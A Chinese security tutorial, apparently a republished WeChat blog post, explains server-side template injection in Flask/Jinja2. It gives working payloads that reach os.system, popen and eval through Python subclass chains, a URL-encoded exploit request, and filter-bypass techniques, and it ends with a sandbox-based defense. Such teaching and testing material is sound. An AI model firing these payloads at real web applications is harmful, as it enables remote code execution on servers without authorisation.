专栏首页卓文见识Python安全之SSTI——Flask/Jinja2

Python安全之SSTI——Flask/Jinja2

一、关于SSTI

SSTI(Server Side Template Injection),又称服务端模板注入攻击。其发生在MVC框架中的view层,常见的用于渲染的模板有Twig、FreeMarker、Velocity、Smarty等。

服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、getShell 等问题。

例如twig的代码:

$output =$twig->render($_GET['custom_email'], array("first_name" =>$user.first_name) );

如果我们输入custom_email={{7*7}}则会得到49。关于SSTI漏洞的介绍可见:

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

二、关于Jinja2

Jinja2 是仿照 Django 模板的一个功能齐全的模板引擎。它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境保证安全。

编写示例代码一,将请求输入参数name拼接为模板内容的一部分并进行渲染输出,这里关注Template模块的render方法:

:request.url的方式不能导致模板注入了,在最新的flask版本中会自动对request.url进行urlencode,request.args传参)

三、漏洞复现

访问如下链接,被解析成功,说明漏洞的存在:

http://127.0.0.1:5000/?name={{22*3}}

而SSTI中主要涉及的漏洞有两个:文件读取和命令执行,这里主讲命令执行。

首先python环境下常用的命令执行方式有以下几种:

os.system()
os.popen()
subprocess.call/popen

实现执行任意python代码的payload有:

POC1:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('calc') }}
{% endif %}
{% endfor %}

POC2:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b inc.__init__.__globals__.values() %}
  {% ifb.__class__ == {}.__class__ %}
    {% if'eval' in b.keys() %}
      {{b['eval']('__import__("os").popen("calc").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

访问:

http://127.0.0.1:5000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22calc%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

成功实现代码执行:

四、漏洞原理

Jinja2的SSTI漏洞原理用一句话描述就是,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法

1)首先,要想在 Jinja2 的模板中执行 Python代码,按照官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册,示例代码二如下:

这里传入参数 {{ os.popen('calc') }},因为在模板环境中已经注册了 os 变量为 Python os模块,所以可以直接调用模块函数来执行系统命令。

2)但如果使用示例代码一来执行,会得到 os未定义的异常错误:

3)那如何在未注册 os 模块的情况下在模板中调用popen() 函数执行系统命令呢?由于模板中能够访问 Python 内置的变量和变量方法,并且能通过 Jinja2 的模板语法遍历变量

首先,解释一下Python中一些常见的特殊方法:

__class__返回调用的参数类型
__base__返回基类列表
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回object子类
__globals__ 以字典类型返回当前位置的全部全局变量(func_globals 等价)

jinja2中获取基类的方法如下:

''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]

因此可以构造出如下模板 Payload :

''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()

除此之外os模块还可从warnings.catchwarnings模块入手,__init__方法用于将对象实例化,可以通过funcglobals(或者`__globals`)看该模块下有哪些globals函数,而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块,从而有了以下payload:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

4)在实际测试中可用的payload未知,避免手动挨个尝试,一般使用模板的控制语句进行通用攻击:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('calc') }}
{% endif %}
{% endfor %}

5)除了遍历找到 `os` 模块外,还能直接找到 `eval` 函数并进行调用,这样就能够调用复杂的 Python 代码:

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('calc').read()")}}

但实际类所在的索引随环境变换而不一样,下标也应随之改变,所以可以直接用for循环来遍历所得的基类:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b inc.__init__.func_globals.values() %}
  {% ifb.__class__ == {}.__class__ %}
    {% if'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("calc").read()')}}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

五、沙盒绕过(SSTI Bypass)

沙盒绕过是python安全不得不提的一个话题,以一个最典型的CTF题为例,2014CSAW-CTF 中的一道经典的Python 沙盒绕过题目:

最终PoC为:

[c for c in [].__class__.__base__.__subclasses__() ifc.__name__ ==
'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echoHello SandBox')

更多过滤场景:

1)过滤 {{或}}

使用 {%绕过,{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果,如下,把命令执行的结果外带:

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('calc').read()=='p'%}1{% endif %}

2)过滤 _

使用编码绕过:__class__ => \x5f\x5fclass\x5f\x5f

3)过滤 .

a>采用 attr()或 []绕过, payload:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

b>使用[]绕过:

http://127.0.0.1:5000/?name={{config['__class__']['__init__']['__globals__']['os']['popen'](calc)['read']()}}

其他:利用request

如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们拿过滤 __class__,可以用 request.args.t1且以GET方式提交 t1=__class__ 来替换被过滤的 __class__

形式1

{{''.__class__}} =>{{''[request.args.t1]}}&t1=__class__

形式2

{{''.__class__}} =>{{''[request['args']['t1']]}}&t1=__class__

同理也可以使用POST,只需要需要将args换成form即可。或者利用Python字符串格式化特性绕过ssti过滤,批量脚本:

str1 = '__class__'
res = ''
for i in str1:
  res +="{0:c}"+"['format']({tmp})%2B".format(tmp=ord(i))
print(res[:-3])

六、总结

1、测试方法

SSTI漏洞是控制 Web 应用渲染模板(基于Jinja2)内容来进行远程代码(命令)执行,前提是模板内容可控,因此

1) 需要跟踪render()方法的变量是否可控;

2) 若变量可控,则尝试输入payload,若被过滤尝试绕过。

2、防御办法

使用 Jinja2 自带的沙盒环境 jinja2.sandbox.SandboxedEnvironment,Jinja2 默认沙盒环境在解析模板内容时会检查所操作的变量属性,对于未注册的变量属性访问都会抛出错误。

本文分享自微信公众号 - 卓文见识(zhuowenjianshi),作者:Jayway

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-05-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 信息泄露(Information Exposure)挖掘及实战案例全汇总

    信息泄露(InformationExposure)漏洞是有意或无意地向未明确授权访问该信息的行为者披露信息。信息泄露是最为常见和普遍的漏洞之一,漏洞出现的位置、...

    Jayway
  • 个人渗透测试思路(cheatsheets)及技巧全汇总

    大多数渗透人员在对一个系统做渗透测试的时候,最大的痛点是无法获得一个全面的测试思路和流程,以至于遗漏真正存在的漏洞或在不存在漏洞的点上浪费太多时间。

    Jayway
  • 账户接管(Account Takeover)漏洞挖掘及实战案例全汇总

    身份验证(Authentication):验证某人是特定用户,是否正确提供其安全凭据(密码,安全问题答案,指纹扫描等)。

    Jayway
  • 软件开发团队玩翻硬币游戏

    我把5张餐桌摆成一条线,然后拿着那20枚硬币坐到最外面的桌子旁,对开发团队众人说:“咱们现在玩翻硬币游戏啦。我需要4个角色:业务分析、开发、测试和运维。你们谁愿...

    吾真本
  • 多目标跟踪评价指标

    MOT挑战赛的评价指标:https://motchallenge.net/results/MOT17/

    机器视觉CV
  • 溯源复现SiteServer5疑似在野0day

    客户公司有一台比较陈旧的winserver2008,上面跑着陈旧的SiteServer5.0,光是这几年处理被1day攻击,各种传马,小马拖大马应接不暇,隔几个...

    FB客服
  • AkShare-期货数据-仓单日报-上海期货交易所

    目标地址: http://www.shfe.com.cn/statements/dataview.html?paramid=dailystock&paramda...

    AkShare
  • 麦肯锡160页报告:2030年全球将可能有8亿人要被机器抢饭碗

    安妮 编译自 麦肯锡官网 量子位 出品 | 公众号 QbitAI 自动化方便了生活,也改变了工作。但自动化对人类工作有何影响,未来的就业机会够不够,我们怎样适应...

    量子位
  • [RNN] Simple LSTM代码实现 & BPTT理论推导

    zhwhong
  • 单引号双引号与poc的故事

    最近编写个Thinkcmf任意件内容包含漏洞插件,因为之前写过这个漏洞的poc觉着会很简单,此次的只要增强下功能,能上传定义的就拿出曾经写的poc开始改造之旅,...

    Ms08067安全实验室

扫码关注云+社区

领取腾讯云代金券